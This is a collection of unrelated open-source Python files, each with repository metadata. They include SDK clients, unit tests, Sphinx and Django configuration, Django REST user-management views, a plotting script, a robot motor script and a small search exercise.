"https://management.azure.com", **kwargs: Any ) -> None: self._config = FeatureClientConfiguration(credential=credential, subscription_id=subscription_id, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in _models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) self._serialize.client_side_validation = False self.features = FeaturesOperations(self._client, self._config, self._serialize, self._deserialize) def _send_request(self, request: HttpRequest, **kwargs: Any) -> Awaitable[AsyncHttpResponse]: """Runs the network request through the client's chained policies. >>> from azure.core.rest import HttpRequest >>> request = HttpRequest("GET", "https://www.example.org/") <HttpRequest [GET], url: 'https://www.example.org/'> >>> response = await client._send_request(request) <AsyncHttpResponse: 200 OK> For more information on this code flow, see https://aka.ms/azsdk/dpcodegen/python/send_request :param request: The network request you want to make. Required. :type request: ~azure.core.rest.HttpRequest :keyword bool stream: Whether the response payload will be streamed. Defaults to False. :return: The response of your network call. Does not do error handling on your response. :rtype: ~azure.core.rest.AsyncHttpResponse """ request_copy = deepcopy(request) request_copy.url = self._client.format_url(request_copy.url) return self._client.send_request(request_copy, **kwargs) async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "FeatureClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)
62a47856e123b77ea1d9154672240f5a843588cc
2bfa2e8d2e744e28141a5c5c79119f2f97e853c9
/openvino_training_extensions_simple/pytorch_toolkit/nncf/tests/sparsity/const/test_algo.py
4aef6b32e0da6caa76a310038f2cd0bd645185ea
[ "Apache-2.0" ]
permissive
maxenergy/CPP_2020520
bed4c2fba0dc96c60b6bb20157d11003b00c6067
8453b4426dcb044251eaed38d01ba07557348113
refs/heads/master
2023-05-17T05:18:32.703231
2021-01-24T15:14:01
2021-01-24T15:14:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,980
py
""" Copyright (c) 2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from copy import deepcopy import torch from nncf.helpers import load_state from nncf.algo_selector import create_compression_algorithm from nncf.dynamic_graph import reset_context from nncf.operations import UpdateWeight from nncf.sparsity.const.algo import ConstSparsity from nncf.sparsity.layers import BinaryMask from nncf.utils import get_all_modules_by_type from tests.quantization.test_functions import check_equal from tests.sparsity.magnitude.test_helpers import MagnitudeTestModel from tests.test_helpers import BasicConvTestModel, get_empty_config sub_tensor = torch.tensor([[[[1., 0.], [0., 1.]]]]) ref_mask_1 = torch.cat((sub_tensor, sub_tensor), 0) sub_tensor = torch.tensor([[[[0., 1., 1.], [1., 0., 1.], [1., 1., 0.]]]]) ref_mask_2 = torch.cat((sub_tensor, sub_tensor), 1) def test_can_create_const_sparse_algo__with_default(): model = BasicConvTestModel() config = get_empty_config() config["compression"] = {"algorithm": "const_sparsity"} compression_algo = create_compression_algorithm(deepcopy(model), config) assert isinstance(compression_algo, ConstSparsity) sparse_model = compression_algo.model assert len(list(sparse_model.modules())) == 6 model_conv = get_all_modules_by_type(model, 'Conv2d') sparse_model_conv = get_all_modules_by_type(sparse_model, 'NNCFConv2d') assert len(model_conv) == len(sparse_model_conv) for module_name in model_conv: scope = module_name.split('/') scope[-1] = scope[-1].replace('Conv2d', 'NNCFConv2d') sparse_module_name = '/'.join(scope) assert sparse_module_name in sparse_model_conv store = [] sparse_module = sparse_model_conv[sparse_module_name] for op in sparse_module.pre_ops.values(): if isinstance(op, UpdateWeight) and isinstance(op.operand, BinaryMask): ref_mask = torch.ones_like(sparse_module.weight) assert torch.allclose(op.operand.binary_mask, ref_mask) assert op.__class__.__name__ not in store store.append(op.__class__.__name__) def test_can_restore_binary_mask_on_magnitude_algo_resume(): config = get_empty_config() config['compression'] = {"algorithm": "magnitude_sparsity", "weight_importance": "abs", "params": {"schedule": "multistep", "sparsity_levels": [0.3, 0.5]}} magnitude_algo = create_compression_algorithm(MagnitudeTestModel(), config) sparse_model = magnitude_algo.model with torch.no_grad(): sparse_model(torch.ones([1, 1, 10, 10])) config = get_empty_config() config["compression"] = {"algorithm": "const_sparsity"} const_algo = create_compression_algorithm(MagnitudeTestModel(), config) const_sparse_model = const_algo.model load_state(const_sparse_model, sparse_model.state_dict()) op = const_sparse_model.conv1.pre_ops['0'] check_equal(ref_mask_1, op.operand.binary_mask) op = const_sparse_model.conv2.pre_ops['0'] check_equal(ref_mask_2, op.operand.binary_mask) def test_can_restore_binary_mask_on_magnitude_quant_algo_resume(): config = get_empty_config() config["compression"] = [ {"algorithm": "magnitude_sparsity", "weight_importance": "abs", "params": {"schedule": "multistep", "sparsity_levels": [0.3, 0.5]}}, {"algorithm": "quantization"}] reset_context('orig') reset_context('quantized_graphs') magnitude_quant_algo = create_compression_algorithm(MagnitudeTestModel(), config) # load_state doesn't support CPU + Quantization sparse_model = torch.nn.DataParallel(magnitude_quant_algo.model) sparse_model.cuda() with torch.no_grad(): sparse_model(torch.ones([1, 1, 10, 10])) reset_context('orig') reset_context('quantized_graphs') config = get_empty_config() config["compression"] = [{"algorithm": "const_sparsity"}, {"algorithm": "quantization"}] const_algo = create_compression_algorithm(MagnitudeTestModel(), config) const_sparse_model = const_algo.model load_state(const_sparse_model, sparse_model.state_dict()) op = const_sparse_model.module.conv1.pre_ops['0'] check_equal(ref_mask_1, op.operand.binary_mask) op = const_sparse_model.module.conv2.pre_ops['0'] check_equal(ref_mask_2, op.operand.binary_mask)
e0bd123e809bccda8767fea818f6e921d213287d
5de55e32a40a96287d5e10e93ac1e29fbe89628e
/docs/conf.py
531520920d0bf334ba30a5baeda4858c27e4ac59
[ "MIT" ]
permissive
kukupigs/graphviz
b71600fcda2474c508ca8a95c323385b6d814f83
bb1af2e4eb0a3f47ae6193b1aa3dae319ec7c2bf
refs/heads/master
2023-04-30T02:44:23.616509
2021-05-15T13:01:07
2021-05-15T13:01:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,862
py
# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/master/config # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys sys.path.insert(0, os.path.abspath(os.pardir)) import graphviz # -- Project information ----------------------------------------------------- project = 'graphviz' copyright = '2013-2021, Sebastian Bank' author = 'Sebastian Bank' # The short X.Y version version = '0.17.dev0' # The full version, including alpha/beta/rc tags release = version # -- General configuration --------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.autosummary', 'sphinx.ext.intersphinx', 'sphinx.ext.napoleon', 'sphinx_autodoc_typehints', # https://github.com/agronholm/sphinx-autodoc-typehints/issues/15 'sphinx.ext.viewcode', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path . exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # on_rtd = os.environ.get('READTHEDOCS', None) == 'True' if not on_rtd: import sphinx_rtd_theme html_theme = 'sphinx_rtd_theme' html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'graphvizdoc' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'graphviz.tex', 'graphviz Documentation', 'Sebastian Bank', 'manual'), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'graphviz', 'graphviz Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'graphviz', 'graphviz Documentation', author, 'graphviz', 'One line description of project.', 'Miscellaneous'), ] # -- Extension configuration ------------------------------------------------- # -- Options for intersphinx extension --------------------------------------- # Example configuration for intersphinx: refer to the Python standard library. intersphinx_mapping = { 'py': ('https://docs.python.org/2', None), 'py3': ('https://docs.python.org/3', None), } # monkey patch, see https://github.com/sphinx-doc/sphinx/issues/2044 from sphinx.ext.autodoc import ClassLevelDocumenter, InstanceAttributeDocumenter def add_directive_header(self, sig): ClassLevelDocumenter.add_directive_header(self, sig) InstanceAttributeDocumenter.add_directive_header = add_directive_header
d6e6aa275b5933279375629fc50b65f54b108278
da6082484abe8d790a08f8df383f5ae8d4a8ba6b
/last_fm/celery.py
3a4de1f07536d46dde8cfa2ee00731c665a3d4ee
[]
no_license
themylogin/last.fm.thelogin.ru
6d4e65eb62df4866616ccd42769194a46e4fd5b9
69dbe3b287be5e4a2eda1412a0ecd035bcaa3508
refs/heads/master
2022-11-27T16:58:56.804614
2021-03-25T12:57:48
2021-03-25T12:57:48
16,201,329
1
1
null
2022-11-22T01:08:32
2014-01-24T10:17:13
Python
UTF-8
Python
false
false
317
py
# -*- coding=utf-8 -*- from __future__ import absolute_import, division, unicode_literals from themyutils.celery.beat import Cron from themyutils.flask.celery import make_celery from last_fm.app import app from last_fm.db import db __all__ = [b"celery", b"cron"] celery = make_celery(app, db) cron = Cron(celery)
df9c19801ac4742d19bc68b65b1accd5590e6572
0fe394b10b39864915fcc4073a5fa050aa02502e
/SeriesOfMatplotlib/plot/american_womens_bachelor_degree_plot.py
1c035d41bd5910d64ac69ef06d1ee06493b0df28
[]
no_license
JohnAssebe/Python
9997d47bba4a056fdcd74c6e5207fc52b002cbfd
b88a7c2472f245dc6a0e8900bbea490cb0e0beda
refs/heads/master
2022-05-14T10:08:37.311345
2022-05-09T19:48:53
2022-05-09T19:48:53
212,562,910
0
1
null
null
null
null
UTF-8
Python
false
false
837
py
''' @Author:Yohannes Assebe(John Assebe github) ''' import pandas as pd import random as ra from matplotlib import pyplot as plt plt.style.use('ggplot') df=pd.read_csv('../percent_bachelors_degrees_women_usa.csv') year=df['Year'] fields=[] cols=df.columns.values colors=['black','#521222','#155888','yellow','red','green','purple','blue'] for i in range(len(cols)-1): fields.append(list(df[str(cols[i+1])])) for i in range(len(cols)-1): if i>=9: plt.plot(year,fields[i],color=colors[16-i],label=cols[i+1],linewidth=2) # To avoid color repeat else: plt.plot(year,fields[i],label=cols[i+1],linewidth=2) plt.title("Women bachelor degree percents in USA") plt.xlabel("Year") plt.ylabel("Bachelor degree percent") plt.legend() plt.tight_layout() #plt.savefig('americanwomenliteracy.png') plt.show()
5f43eec0bd28a8fb8303514f2dfbc97dc5c91be7
34cb2555a5884f065a0e7b2dc7f8b075564e67e1
/account_invoice_margin/__manifest__.py
bb1418139039ee9f1f80bbda1a2fe11aa98aa675
[]
no_license
valenciaricardos/odoo-usability
4a944bb06b8fdc7058c2bdf21e36ed0784f2e088
a32d091d837449225ae26c3be387b97c5310a457
refs/heads/10.0
2021-07-08T15:29:58.661172
2017-09-14T17:54:08
2017-09-14T17:54:08
106,070,984
0
1
null
2017-10-07T04:19:55
2017-10-07T04:19:55
null
UTF-8
Python
false
false
1,723
py
# -*- encoding: utf-8 -*- ############################################################################## # # Account Invoice Margin module for Odoo # Copyright (C) 2015 Akretion (http://www.akretion.com) # @author Alexis de Lattre <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Account Invoice Margin', 'version': '0.1', 'category': 'Accounting & Finance', 'license': 'AGPL-3', 'summary': 'Copy standard price on invoice line and compute margins', 'description': """ This module copies the field *standard_price* of the product on the invoice line when the invoice line is created. The allows the computation of the margin of the invoice. This module has been written by Alexis de Lattre from Akretion <[email protected]>. """, 'author': 'Akretion', 'website': 'http://www.akretion.com', 'depends': ['account'], 'data': [ 'account_invoice_view.xml', ], 'installable': False, }
94d9210deda244836941983b492d85510b6f98ed
fb871dce626074d71978f48b4af124b975fe933b
/TXR120 activity code examples/driveForwards.py
86ad438d50b3a139f594573c2bf1fa5b2a722505
[]
no_license
psychemedia/ev3robotics
49e1b1b663f7f1946d9fb69a16228584d85016cc
c5190da5d215f9dda571535215e3177d196fa186
refs/heads/master
2021-01-17T20:32:20.494015
2017-09-21T12:03:03
2017-09-21T12:03:03
60,197,304
2
0
null
null
null
null
UTF-8
Python
false
false
466
py
from ev3dev.auto import * from time import sleep #Configure motors LEFT_MOTOR = LargeMotor(OUTPUT_A) RIGHT_MOTOR = LargeMotor(OUTPUT_B) #Turn motors on LEFT_MOTOR.run_forever(duty_cycle_sp=75) RIGHT_MOTOR.run_forever(duty_cycle_sp=75) #Drive for two seconds sleep(2) #Note: experiment with stop() commands via eg: stop | hold | coast #LEFT_MOTOR.stop_command = 'brake' #RIGHT_MOTOR.stop_command = 'brake' #Turn motors off LEFT_MOTOR.stop() RIGHT_MOTOR.stop()
7926fb11f584701d5dd9444ea87f3b895be01672
a0879bb909d645d5e64a019234671e2c55cf88fd
/TEST/20201115 마이다스아잍/3-2.py
7f029928907bce5e15a0a911fa99d418565d8d23
[]
no_license
minseunghwang/algorithm
a6b94c2cbe0ac6a106e7aa8789321fae8a3d6964
e7d0125d5f8d65c94f3ce9140f840b33d28cc9da
refs/heads/master
2021-07-18T18:11:17.371674
2020-12-30T08:04:54
2020-12-30T08:04:54
227,807,992
0
0
null
null
null
null
UTF-8
Python
false
false
811
py
cookies = [1, 4, 2, 6, 5, 3] k = 2 combinations = [] queue = [] # 첫 데이터 생성 tmp = cookies[:] # deep copy while tmp: n = tmp.pop(0) queue.append([[n], tmp[:]]) # DFS while queue: print(queue) n = queue.pop() # [1/3] 꺼내 if n[1] == []: # [2/3] 목표냐? combinations.append(n[0]) continue # [3/3] 확장 e = n[1].pop(0) # 이번 쿠키 (남은 쿠키 중에 첫번째꺼) if e > n[0][-1]: # 내가 마지막에 먹은거보다 이번 쿠키가 크냐? queue.append([n[0][:] + [e], n[1][:]]) # 크면 먹기 queue.append([n[0][:], n[1][:]]) # 이번 쿠키는 안먹어 maxlen = max(len(x) for x in combinations) maxcookies = sorted(list(x for x in combinations if len(x) == maxlen)) print(maxcookies) print(maxcookies[k - 1])
f94aec95d3e660b28d7a0d10cf1f8d58fa644f2d
900a7285b2fc4d203717e09c88e8afe5bba9144f
/axonius_api_client/tests/tests_api/tests_system/test_users.py
c9ae601cf277f01332aad50b455a8b76509f9384
[ "MIT" ]
permissive
geransmith/axonius_api_client
5694eb60964141b3473d57e9a97929d4bff28110
09fd564d62f0ddf7aa44db14a509eaafaf0c930f
refs/heads/master
2022-11-23T01:43:52.205716
2020-06-12T14:15:38
2020-06-12T14:15:38
280,499,094
0
0
MIT
2020-07-17T18:35:48
2020-07-17T18:35:47
null
UTF-8
Python
false
false
2,914
py
# -*- coding: utf-8 -*- """Test suite.""" import pytest from axonius_api_client.exceptions import ApiError, NotFoundError from ...meta import TEST_USER @pytest.mark.skip("Waiting for update to 3.3!") # XXX update public API for roles/users class TestSystemUsers: """Pass.""" @pytest.fixture(scope="class") def apiobj(self, api_system): """Pass.""" return api_system.users def test__get(self, apiobj): """Pass.""" data = apiobj._get() assert isinstance(data, list) for x in data: assert isinstance(x, dict) def test__get_limit(self, apiobj): """Pass.""" data = apiobj._get(limit=1) assert isinstance(data, list) for x in data: assert isinstance(x, dict) assert len(data) == 1 def test__get_limit_skip(self, apiobj): """Pass.""" all_data = apiobj._get() data = apiobj._get(limit=1, skip=1) assert isinstance(data, list) for x in data: assert isinstance(x, dict) if len(all_data) == 1: assert len(data) == 0 else: assert len(data) == 1 def test_add_get_update_delete(self, apiobj): """Pass.""" try: apiobj.get(name=TEST_USER) except NotFoundError: pass else: apiobj.delete(name=TEST_USER) added = apiobj.add(name=TEST_USER, password=TEST_USER) assert isinstance(added, dict) assert added["user_name"] == TEST_USER assert not added["first_name"] assert not added["last_name"] assert added["password"] == ["unchanged"] with pytest.raises(ApiError): apiobj.add(name=TEST_USER, password=TEST_USER) updated = apiobj.update( name=TEST_USER, firstname=TEST_USER, lastname=TEST_USER, password=TEST_USER + "X", ) assert isinstance(updated, dict) assert updated["user_name"] == TEST_USER assert updated["first_name"] == TEST_USER assert updated["last_name"] == TEST_USER assert updated["password"] == ["unchanged"] roles = apiobj.parent.roles.get() rolename = roles[-1]["name"] updated_role = apiobj.update_role(name=TEST_USER, rolename=rolename) assert updated_role["role_name"] == rolename deleted = apiobj.delete(name=TEST_USER) assert isinstance(deleted, list) assert not [x for x in deleted if x["uuid"] == added["uuid"]] with pytest.raises(ApiError): apiobj.update(name=TEST_USER) with pytest.raises(NotFoundError): apiobj.get(name=TEST_USER) def test_add_bad_role(self, apiobj): """Pass.""" val = "xxx" with pytest.raises(NotFoundError): apiobj.add(name=val, password=val, rolename="flimflam")
e564564366bd44ba5c752ec4ee3b82ceaae09f0a
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-roma/huaweicloudsdkroma/v2/model/create_app_code_auto_v2_request.py
ea23fe5edb6f1eba5782ccd9696d32d010218d7b
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
3,846
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CreateAppCodeAutoV2Request: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'instance_id': 'str', 'app_id': 'str' } attribute_map = { 'instance_id': 'instance_id', 'app_id': 'app_id' } def __init__(self, instance_id=None, app_id=None): """CreateAppCodeAutoV2Request The model defined in huaweicloud sdk :param instance_id: 实例ID :type instance_id: str :param app_id: 应用编号 :type app_id: str """ self._instance_id = None self._app_id = None self.discriminator = None self.instance_id = instance_id self.app_id = app_id @property def instance_id(self): """Gets the instance_id of this CreateAppCodeAutoV2Request. 实例ID :return: The instance_id of this CreateAppCodeAutoV2Request. :rtype: str """ return self._instance_id @instance_id.setter def instance_id(self, instance_id): """Sets the instance_id of this CreateAppCodeAutoV2Request. 实例ID :param instance_id: The instance_id of this CreateAppCodeAutoV2Request. :type instance_id: str """ self._instance_id = instance_id @property def app_id(self): """Gets the app_id of this CreateAppCodeAutoV2Request. 应用编号 :return: The app_id of this CreateAppCodeAutoV2Request. :rtype: str """ return self._app_id @app_id.setter def app_id(self, app_id): """Sets the app_id of this CreateAppCodeAutoV2Request. 应用编号 :param app_id: The app_id of this CreateAppCodeAutoV2Request. :type app_id: str """ self._app_id = app_id def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CreateAppCodeAutoV2Request): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
baf846c29d7abd610de1db8208469e9648543bcf
943cf86aca0eb23bd61a8705c05a9853d0a71c3d
/test_document_from_pubmed.py
15a285c0fe71666befe5ec12d05ab0e3c0909f67
[ "BSD-3-Clause" ]
permissive
rmatam/vivotools
91f60b19c5d797d39ffb6c20eeb0f1e8048fdd57
b60b36c5ac6c672a5af8b2a7d1a646bebd026026
refs/heads/master
2021-01-20T08:19:01.113299
2015-12-20T22:21:01
2015-12-20T22:21:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
876
py
""" test_document_from_pubmed.py -- use Entrez to retrive a document entry from Pubmed, and format it as a reusable python structure Version 0.1 MC 2013-12-28 -- Initial version. """ __author__ = "Michael Conlon" __copyright__ = "Copyright 2013, University of Florida" __license__ = "BSD 3-Clause license" __version__ = "0.1" import vivotools as vt from datetime import datetime from Bio import Entrez print datetime.now(),"Start" pmids = [ "18068940", "18089571", "19206997", "21822356", "19247798", "21493414", "12099768", "11410031", "20143936", "16934145" ] for pmid in pmids: handle = Entrez.efetch(db="pubmed", id=pmid, retmode="xml") records = Entrez.parse(handle) for record in records: print "\n",pmid,vt.document_from_pubmed(record) print datetime.now(),"Finish"
01249f147a2f8d1dcd5f70439aa9d68d55c997e4
bdda8da38c77194d2fceb29e31e9b564f015259d
/myapp/runScript/User.py
e3094939d9f61864940cf347bca1d74a732fd999
[]
no_license
Hanlen520/myproject
54f2b4c4a77af768ae278f44922cd42befab3b08
eb420d7686bd502b300aadd8ba28cb28f03935f5
refs/heads/master
2020-04-13T13:51:26.667841
2018-12-26T13:23:34
2018-12-26T13:23:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,310
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from myapp.serializers import Login1 from myapp.models import Login from rest_framework import generics, filters, viewsets, mixins from rest_framework.views import APIView import logging from rest_framework.response import Response from rest_framework import status from rest_framework_jwt.authentication import JSONWebTokenAuthentication from rest_framework.authentication import SessionAuthentication # 搜索用户名、邮箱 class SearchUser(mixins.ListModelMixin, viewsets.GenericViewSet): authentication_classes = (JSONWebTokenAuthentication, SessionAuthentication) queryset = Login.objects.filter(isdelete=False) serializer_class = Login1 filter_backends = (filters.SearchFilter,) search_fields = ('username', 'email') # 删除用户 class DeleteUser(generics.RetrieveDestroyAPIView): queryset = Login.objects.all().filter(isdelete=False) serializer_class = Login1 def perform_destroy(self, instance): Login.objects.filter(user_id=instance.user_id).update(isdelete=True) # 更新用户信息 class UpdateUser(generics.RetrieveUpdateAPIView): serializer_class = Login1 queryset = Login.objects.filter(isdelete=False) # 重置密码 class ResetPwd(generics.RetrieveUpdateAPIView): serializer_class = Login1 queryset = Login.objects.filter(isdelete=False) def update(self, request, *args, **kwargs): data = request.data # hash = hashlib.sha1() try: # hash.update(bytes(data['password'])) # password = hash.hexdigest() t = Login.objects.get(user_id=data['user_id']) t.set_password(data['password']) t.save() except Exception as e: logging.exception(e) return Response(data, status=status.HTTP_200_OK) # 批量删除用户 class DeleteUsers(APIView): queryset = Login.objects.all().filter(isdelete=False) serializer_class = Login1 def put(self, request): t = {'code': 200, 'message': '成功'} data = request.data for i in data["ids"]: try: Login.objects.filter(user_id=i).update(isdelete=True) except Exception as e: logging.exception(e) return Response(t)
128a8225ef5aa2c8a88217d582fb77e064710a23
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_1/gjdsuv001/question3.py
bc93359eb4e9fc41676816f51ca1c166ab26a3e0
[]
no_license
MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
UTF-8
Python
false
false
957
py
def message(): first_name = input("Enter first name:\n") last_name=input("Enter last name:\n") money=eval(input("Enter sum of money in USD:\n")) country=input("Enter country name:\n") print() print("Dearest",first_name,) print("It is with a heavy heart that I inform you of the death of my father,") print("General Fayk ",last_name,", your long lost relative from Mapsfostol." ,sep="") print ("My father left the sum of ",money,"USD for us, your distant cousins.", sep="") print ("Unfortunately, we cannot access the money as it is in a bank in ", country,".",sep="") print("I desperately need your assistance to access this money.") print ("I will even pay you generously, 30% of the amount - ",money*0.3,"USD,", sep="") print ("for your help. Please get in touch with me at this email address asap.") print ("Yours sincerely") print ("Frank",last_name,) message()
704c36ab9cda3860edd3b1fc17cfd5f8c7febc2f
5a71ca1f5c964f803350e3c1238cb48986db565c
/coinlib/tests/utils/test_decorators.py
f309cff6a37f9cb9bc36bc92982bdf409a599424
[]
no_license
tetocode/coinliball
fd644cbc16039ecad7e43228ea4e287ead5c8e5f
41ebbac13c1fbba98aedaa766b9a505cb157f374
refs/heads/master
2022-09-28T21:58:08.130006
2020-06-04T03:00:56
2020-06-04T03:00:56
269,247,318
0
2
null
null
null
null
UTF-8
Python
false
false
561
py
from coinlib.utils.decorators import dedup def test_dedup(): @dedup(lambda x: x) def gen(it): yield from it assert list(range(3)) == list(gen(range(3))) assert list(range(3)) == list(gen(list(range(3)) * 2)) @dedup(lambda x: x, cache_limit=0) def gen(it): yield from it assert list(range(3)) == list(gen(range(3))) assert list(range(3)) * 2 == list(gen(list(range(3)) * 2)) @dedup(lambda x: x, cache_limit=2) def gen(it): yield from it assert [1, 2, 3, 1] == list(gen([1, 2, 3, 2, 1]))
[ "_" ]
_
b559d304d58a2b548b321a7b94fc9bd9c30cd860
bacc65263d0308d455333add3ff918ee42498f32
/pilarfc_crowdbotics_123/settings.py
e4fbdbe907c6641a2a41bf63b3ad341bf211488d
[]
no_license
crowdbotics-users/pilarfc-crowdbotics-123
7d248119ab44ddc8e3c6fb0de866796530d98ba0
aea7b9bf645ac60fbe173f6517727675743a60be
refs/heads/master
2020-03-13T09:39:30.290774
2018-04-25T22:02:42
2018-04-25T22:02:42
131,068,534
0
0
null
null
null
null
UTF-8
Python
false
false
3,600
py
""" Django settings for pilarfc_crowdbotics_123 project. Generated by 'django-admin startproject' using Django 1.11.5. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '&4^-!j4j)+fx7f!lb7jia0b&50^xkaye341#zox&iq9s@j5%qz' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'pilarfc_crowdbotics_123.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'pilarfc_crowdbotics_123.wsgi.application' # Database # https://docs.djangoproject.com/en/1.11/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 